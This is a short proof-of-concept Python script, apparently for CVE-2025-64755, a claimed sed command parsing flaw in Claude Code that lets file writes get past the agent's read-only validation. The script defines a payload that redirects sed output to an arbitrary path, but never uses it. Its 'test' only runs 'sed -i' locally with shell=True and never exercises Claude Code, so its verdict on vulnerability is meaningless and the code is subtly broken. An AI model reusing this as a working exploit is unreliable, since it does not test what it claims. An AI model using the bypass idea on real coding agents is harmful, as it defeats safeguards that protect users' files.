CVE-2025-64755: Claude Code sed命令解析错误导致任意文件写入漏洞

# CVE-2025-64755 PoC - Claude Code Arbitrary File Write via sed Command Injection # Target: Claude Code < 2.0.31 # Vulnerability: sed command parsing bypasses read-only validation import subprocess import sys def generate_malicious_input(): """Generate payload to bypass read-only validation""" # Payload structure: combine legitimate sed operation with file write # The parsing error allows redirection operators to bypass validation malicious_cmd = """ # Normal-looking sed operation that actually writes to arbitrary location echo 'test content' | sed 's/.*/malicious_data/' > /path/to/target/file """ return malicious_cmd def test_vulnerability(target_file="/tmp/pwned_test.txt"): """Test if Claude Code is vulnerable""" payload = f"sed -i 's/.*/PWNED/' {target_file}" try: # Simulate Claude Code execution context result = subprocess.run( payload, shell=True, capture_output=True, text=True, timeout=10 ) if result.returncode == 0: # Check if file was created/modified try: with open(target_file, 'r') as f: content = f.read() if 'PWNED' in content: print(f"[+] VULNERABLE: Successfully wrote to {target_file}") return True except: pass print("[-] Target appears not vulnerable or file not accessible") return False except Exception as e: print(f"[-] Error during testing: {e}") return False if __name__ == "__main__": print("CVE-2025-64755 PoC - Claude Code Arbitrary File Write") print("=" * 60) test_vulnerability()